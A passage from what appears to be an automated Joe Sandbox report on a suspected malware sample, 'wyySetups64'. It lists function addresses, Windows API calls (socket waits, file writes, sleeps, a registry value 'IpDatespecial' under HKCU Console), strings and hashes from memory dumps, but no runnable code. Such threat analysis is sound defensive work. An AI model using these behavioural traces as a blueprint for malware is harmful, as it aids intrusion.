WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 00BD3931
GetCurrentThreadId.KERNEL32 ref: 00BD395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 00BD39F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 00BD3A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 00BD3A39

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: b4e7c7f10204c56213dc5a9f47dfe68852f0809335983ceb781957709beeadc9
Instruction ID: 455219dc1774d97c38f7c38854ac61b8d9153aea9d00cd2ccca89fdfe401430f
Opcode Fuzzy Hash: b4e7c7f10204c56213dc5a9f47dfe68852f0809335983ceb781957709beeadc9
Instruction Fuzzy Hash: 7151BE706007019BD7609F64C9957AAF7E4FF04B14F1005ABE95B9B382FBB5EA40CB42

Function 03373870 Relevance: 10.6, APIs: 7, Instructions: 149threadnetworktimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 03373883
SetWaitableTimer.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 033738C4
WSAWaitForMultipleEvents.WS2_32(00000004,?,00000000,000000FF,00000000), ref: 03373931
GetCurrentThreadId.KERNEL32 ref: 0337395C
GetLastError.KERNEL32(?,00000000,000000FF,00000000), ref: 033739F4
SetLastError.KERNEL32(0000139F,?,00000000,000000FF,00000000), ref: 03373A22
WSAGetLastError.WS2_32(?,00000000,000000FF,00000000), ref: 03373A39

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$CurrentThread$EventsMultipleTimerWaitWaitable
String ID:
API String ID: 3058130114-0
Opcode ID: 22514c1734ba45f00b00095b747a9738bbf5497a98bc224cdf162d5cac90761d
Instruction ID: 6fb60cac116c89027a35506dda55b43ce78df056ab9c2a316671716a4026b688
Opcode Fuzzy Hash: 22514c1734ba45f00b00095b747a9738bbf5497a98bc224cdf162d5cac90761d
Instruction Fuzzy Hash: 5E517C78A007059BDB70DF24CDC4BABB7E8BF05724F14491AD996DB680EB39E840DB91

Function 0337E6B0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,0337E815,?,?,?,?,74DF23A0,00000000), ref: 0337E6BD
CreateFileW.KERNEL32(033A0D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,0337E815,?,?,?,?,74DF23A0,00000000), ref: 0337E6D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0337E6F2
lstrlenW.KERNEL32(?,00000000,00000000), ref: 0337E6FF
WriteFile.KERNEL32(00000000,?,00000000), ref: 0337E70A
CloseHandle.KERNEL32(00000000), ref: 0337E711
ReleaseMutex.KERNEL32(00000000), ref: 0337E71E

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: 5b6f148700e5d62eab7ffb4b2d07c1dcd351deffce0f4a27c201cfbdeedf5327
Instruction ID: f9a046079420bd9a9d55f9057d0d36d363eff5b30ef3bb19344bedead4b90684
Opcode Fuzzy Hash: 5b6f148700e5d62eab7ffb4b2d07c1dcd351deffce0f4a27c201cfbdeedf5327
Instruction Fuzzy Hash: F401C871241618FBE224B7A4BCCFF9B366CEB49B21F100605F715E61C4D7B5A81487A5

Function 00BD97E2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00BE7C00,00000008,00BD98EA,00000000,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C), ref: 00BD97F3
__lock.LIBCMT ref: 00BD9827

Part of subcall function 00BDC144: __mtinitlocknum.LIBCMT ref: 00BDC15A
Part of subcall function 00BDC144: __amsg_exit.LIBCMT ref: 00BDC166
Part of subcall function 00BDC144: EnterCriticalSection.KERNEL32(00000000,00000000,?,00BD99BA,0000000D,00BE7C28,00000008,00BD9AB1,00000000,?,00BD7711,00000000,00BE7B60,00000008,00BD7776,?), ref: 00BDC16E

InterlockedIncrement.KERNEL32(?), ref: 00BD9834
__lock.LIBCMT ref: 00BD9848
___addlocaleref.LIBCMT ref: 00BD9866

Strings

KERNEL32.DLL, xrefs: 00BD97EE

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 5f09637eb42cdb76f7fe382c20a581cd71dcf453d52148b77ddea0b2699dc46e
Instruction ID: b9541a569599287e38310a2207cc9f6786631d2f39f19be516e6ee785b8974c1
Opcode Fuzzy Hash: 5f09637eb42cdb76f7fe382c20a581cd71dcf453d52148b77ddea0b2699dc46e
Instruction Fuzzy Hash: DE01C0B1404B40DFD720AF6AD846349FBE0EF40324F10898FE4D69B3A1DBB0AA44CB51

Function 03383D2E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,03396318,00000008,03383E36,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C), ref: 03383D3F
__lock.LIBCMT ref: 03383D73

Part of subcall function 03388E5B: __mtinitlocknum.LIBCMT ref: 03388E71
Part of subcall function 03388E5B: __amsg_exit.LIBCMT ref: 03388E7D
Part of subcall function 03388E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,03383F06,0000000D,03396340,00000008,03383FFF,00000000,?,033810F0,00000000,03396278,00000008,03381155,?), ref: 03388E85

InterlockedIncrement.KERNEL32(?), ref: 03383D80
__lock.LIBCMT ref: 03383D94
___addlocaleref.LIBCMT ref: 03383DB2

Strings

KERNEL32.DLL, xrefs: 03383D3A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 5a764ff7ec27f823b183198ffe96111234cc50fd23a28ea9dd593dbfd3ecc140
Instruction ID: e0027f1f48b484f607ff251915e24d3a9f13270f7682625dd9780683ec2cdf5c
Opcode Fuzzy Hash: 5a764ff7ec27f823b183198ffe96111234cc50fd23a28ea9dd593dbfd3ecc140
Instruction Fuzzy Hash: 63018479841B01EFEB20FF69D88574AFBE4AF40724F10490ED4D69B7A0CBB4A644CB15

Function 0337B78C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 0337B7A7
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 0337B7B7
RegSetValueExW.ADVAPI32(?,IpDatespecial,00000000,00000003,?,00000004), ref: 0337B7CE
RegCloseKey.ADVAPI32(?,?,00000004), ref: 0337B7D9

Strings

Console, xrefs: 0337B79D
IpDatespecial, xrefs: 0337B7B1, 0337B7C8

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Value$CloseDeleteOpen
String ID: Console$IpDatespecial
API String ID: 3183427449-1840232981
Opcode ID: 1a2e8b592671692b8e1da4fd391b6a2874241733a6a1255e4683a3678311514b
Instruction ID: 7d58fa1d2cbec7c6299328075b8a03534b18b34fa42f2fc75580449656f99872
Opcode Fuzzy Hash: 1a2e8b592671692b8e1da4fd391b6a2874241733a6a1255e4683a3678311514b
Instruction Fuzzy Hash: 60F0A771354344FFF3259760AC8FF5BB758F789701F504A4FF784A52818665A140C755

Function 00BE33F1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BE3412

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

__getptd.LIBCMT ref: 00BE3423
__getptd.LIBCMT ref: 00BE3431

Strings

RCC, xrefs: 00BE33FD
csm, xrefs: 00BE340B
MOC, xrefs: 00BE3404

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction ID: 8547b66db439011bbe87b5b686524592b8e8cd28b2562cf6bfdec0d8f9a9b434
Opcode Fuzzy Hash: 6cafc6eb67b1167ca934f12c74b901a19b36c58c2209ef507fb1707306695bdb
Instruction Fuzzy Hash: B1E01A306041888ED721AB69C48EB6877F4FB88715F5A00F6E41DCB363E728EE508942

Function 033902FC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0339031D

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

__getptd.LIBCMT ref: 0339032E
__getptd.LIBCMT ref: 0339033C

Strings

RCC, xrefs: 03390308
csm, xrefs: 03390316
MOC, xrefs: 0339030F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction ID: f014d6ed3b376f297581063f38b683c4c1343a37aea11598cef07c85aa08f5ed
Opcode Fuzzy Hash: a1f0d33c8d38bd48e94782b4de51ff7935ea793739f44933f6f473294c896614
Instruction Fuzzy Hash: 6FE09A3D914304CFDB24EB68C5CAB6836D9BF48A25F5945A2D40CCF632D738E5908992

Function 03379C30 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03379C3F

Part of subcall function 0337F673: __FF_MSGBANNER.LIBCMT ref: 0337F68C
Part of subcall function 0337F673: __NMSG_WRITE.LIBCMT ref: 0337F693
Part of subcall function 0337F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F6B8

_free.LIBCMT ref: 03379C63
_memset.LIBCMT ref: 03379CBB

Part of subcall function 0337A610: GetObjectW.GDI32(?,00000054,?), ref: 0337A62E

CreateDIBSection.GDI32(00000000,00000008,00000000,00000000,00000000,00000000), ref: 03379CD3
_free.LIBCMT ref: 03379CE4
_free.LIBCMT ref: 03379D23

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _free$AllocateCreateHeapObjectSection_malloc_memset
String ID:
API String ID: 1756752955-0
Opcode ID: bc2bebcccc9a0edc6665aaa64e8256ba659b40b11fd59db5e803b5b0026c90b8
Instruction ID: 060834537fdcbd2a44c9aa46b8d3d5da9efc5de5d7f0bec6aeab27cdd2ce4c39
Opcode Fuzzy Hash: bc2bebcccc9a0edc6665aaa64e8256ba659b40b11fd59db5e803b5b0026c90b8
Instruction Fuzzy Hash: BD31A3B2600706ABE720DF25DDC0B56B7E8BF49310F04863AD909CB650E7B5E454CB91

Function 00BD5060 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 00BD50AA
WSASetLastError.WS2_32(0000139F), ref: 00BD50C2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 00BD50CC

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 41f9fe1f0bfb8a5ba5ca849a03a78ac5c01e2cef72fb90d92207b99c2f8e609a
Instruction ID: 697f5c228805b08c5bdb12333e363a021a6713b8fdae63995980b6e691a31574
Opcode Fuzzy Hash: 41f9fe1f0bfb8a5ba5ca849a03a78ac5c01e2cef72fb90d92207b99c2f8e609a
Instruction Fuzzy Hash: C1316E76A04A44EBD720CF95ED86F6AB3E8FB48715F00495AF905C7781EB76A800CB90

Function 03375080 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 033750CA
WSASetLastError.WS2_32(0000139F), ref: 033750E2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 033750EC

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 4bc8bff3a406ea97d1dc9b889fc5b45a75e96e41918465bff976bc79d863cb88
Instruction ID: 149fe003f7a3b7382fd9eac17e1650bf17bbc3a22e0498301eeb2743e40d0569
Opcode Fuzzy Hash: 4bc8bff3a406ea97d1dc9b889fc5b45a75e96e41918465bff976bc79d863cb88
Instruction Fuzzy Hash: DE316C76A04748EBEB24DF55DDC5B6BB3ACEB49711F00495AE916C7680E73AA800CB90

Function 00BD485A Relevance: 9.1, APIs: 6, Instructions: 91sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 00BD48E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 00BD48EC
Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 00BD48F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00BD4914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00BD491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 00BD492E

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CloseHandleObjectSingleSleepWait
String ID:
API String ID: 640476663-0
Opcode ID: 35710c1c36bd65ff89a9c289a0b4af489b3416b06fbd09113e3f106b587ee15c
Instruction ID: 7c1e0574f68da02b60e635939754889b7f1b33aa6d2efec7d12648adb7e1405e
Opcode Fuzzy Hash: 35710c1c36bd65ff89a9c289a0b4af489b3416b06fbd09113e3f106b587ee15c
Instruction Fuzzy Hash: 2B219A721046848BC720EBA8DC88987F3F9FF857647140B59F2948B392C7349C05CBA4

Function 00BE36A3 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00BE36CB

Part of subcall function 00BE325B: __getptd.LIBCMT ref: 00BE3269
Part of subcall function 00BE325B: __getptd.LIBCMT ref: 00BE3277

__getptd.LIBCMT ref: 00BE36D5

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

__getptd.LIBCMT ref: 00BE36E3
__getptd.LIBCMT ref: 00BE36F1
__getptd.LIBCMT ref: 00BE36FC
_CallCatchBlock2.LIBCMT ref: 00BE3722

Part of subcall function 00BE3300: __CallSettingFrame@12.LIBCMT ref: 00BE334C

Part of subcall function 00BE37C9: __getptd.LIBCMT ref: 00BE37D8
Part of subcall function 00BE37C9: __getptd.LIBCMT ref: 00BE37E6

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 1dadeaccc8c238386d51fe6cfb1d703d6e0afd33a2f2936b1a4b7805af0e0710
Instruction ID: 1b956c6fd4d7262788fe92f078a80aee1314ec1be17a04335faaf520e6e893eb
Opcode Fuzzy Hash: 1dadeaccc8c238386d51fe6cfb1d703d6e0afd33a2f2936b1a4b7805af0e0710
Instruction Fuzzy Hash: 7F11DAB1D04249DFDB00EFA5D845AADBBF1FF04314F1084AAF868A7351EB389A159F50

Function 033905AE Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 033905D6

Part of subcall function 033900B7: __getptd.LIBCMT ref: 033900C5
Part of subcall function 033900B7: __getptd.LIBCMT ref: 033900D3

__getptd.LIBCMT ref: 033905E0

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

__getptd.LIBCMT ref: 033905EE
__getptd.LIBCMT ref: 033905FC
__getptd.LIBCMT ref: 03390607
_CallCatchBlock2.LIBCMT ref: 0339062D

Part of subcall function 0339015C: __CallSettingFrame@12.LIBCMT ref: 033901A8

Part of subcall function 033906D4: __getptd.LIBCMT ref: 033906E3
Part of subcall function 033906D4: __getptd.LIBCMT ref: 033906F1

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 862cfdbe64fce7dbd0d94a6b668e93aa1c835855f9061bfc24ef08d2b1b86ca8
Instruction ID: 90ad418182500fcef025726369ea03d39c74f62546801a34df6eaaf693138634
Opcode Fuzzy Hash: 862cfdbe64fce7dbd0d94a6b668e93aa1c835855f9061bfc24ef08d2b1b86ca8
Instruction Fuzzy Hash: 0811D7B9D0130ADFDF10EFA4D485AADBBB0FF04714F10806AE825AB350DB789A559F50

Function 0320FF6D Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0320FF95

Part of subcall function 0320FA76: __getptd.LIBCMT ref: 0320FA84
Part of subcall function 0320FA76: __getptd.LIBCMT ref: 0320FA92

__getptd.LIBCMT ref: 0320FF9F

Part of subcall function 0320381A: __getptd_noexit.LIBCMT ref: 0320381D
Part of subcall function 0320381A: __amsg_exit.LIBCMT ref: 0320382A

__getptd.LIBCMT ref: 0320FFAD
__getptd.LIBCMT ref: 0320FFBB
__getptd.LIBCMT ref: 0320FFC6
_CallCatchBlock2.LIBCMT ref: 0320FFEC

Part of subcall function 0320FB1B: __CallSettingFrame@12.LIBCMT ref: 0320FB67

Part of subcall function 03210093: __getptd.LIBCMT ref: 032100A2
Part of subcall function 03210093: __getptd.LIBCMT ref: 032100B0

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction ID: 59944461c995fa656a8a540bb002e19a6fb7a317082d233b9e245bb023b121af
Opcode Fuzzy Hash: 5f1381efd39d468ef928fc2953ab13acdae555040b7c1ee41bdff31c76f18644
Instruction Fuzzy Hash: 9D11F679D10309DFDB00EFA4D984AED7BB0FF08310F10C0A9E914AB291DB789A959F50

Function 00BDD9BE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BDD9CA

Part of subcall function 00BD990F: __getptd_noexit.LIBCMT ref: 00BD9912
Part of subcall function 00BD990F: __amsg_exit.LIBCMT ref: 00BD991F

__amsg_exit.LIBCMT ref: 00BDD9EA
__lock.LIBCMT ref: 00BDD9FA
InterlockedDecrement.KERNEL32(?), ref: 00BDDA17
_free.LIBCMT ref: 00BDDA2A
InterlockedIncrement.KERNEL32(02851658), ref: 00BDDA42

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 9013e588c47e6f2d5ad9f2f0280badfb257dc267d3d0ab7caf59ce539656b468
Instruction ID: faa7c9d5df0e230c5f1ed45ca2bd81b5e264a5e098bef0d89032b6b951776ab7
Opcode Fuzzy Hash: 9013e588c47e6f2d5ad9f2f0280badfb257dc267d3d0ab7caf59ce539656b468
Instruction Fuzzy Hash: EA01C472945A219BC721AFB4984579DF7E1EF00720F044197F8946B381EB346941CBD5

Function 03384885 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03384891

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

__amsg_exit.LIBCMT ref: 033848B1
__lock.LIBCMT ref: 033848C1
InterlockedDecrement.KERNEL32(?), ref: 033848DE
_free.LIBCMT ref: 033848F1
InterlockedIncrement.KERNEL32(03521658), ref: 03384909

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 5e6b918aec1dff99292612737626acd43dd1ad4712911b1655a1f4d261edf375
Instruction ID: 804909ed4664208f89d896188ddf56c88b6390d31f5cd14e2339a02e96ef11ce
Opcode Fuzzy Hash: 5e6b918aec1dff99292612737626acd43dd1ad4712911b1655a1f4d261edf375
Instruction Fuzzy Hash: 0201D635D01B57EBE720FF2698C575DB3A4BF04B21F08040AE850ABA84CB756541CBD2

Function 00BD48C7 Relevance: 9.0, APIs: 6, Instructions: 44sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 00BD48E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 00BD48EC
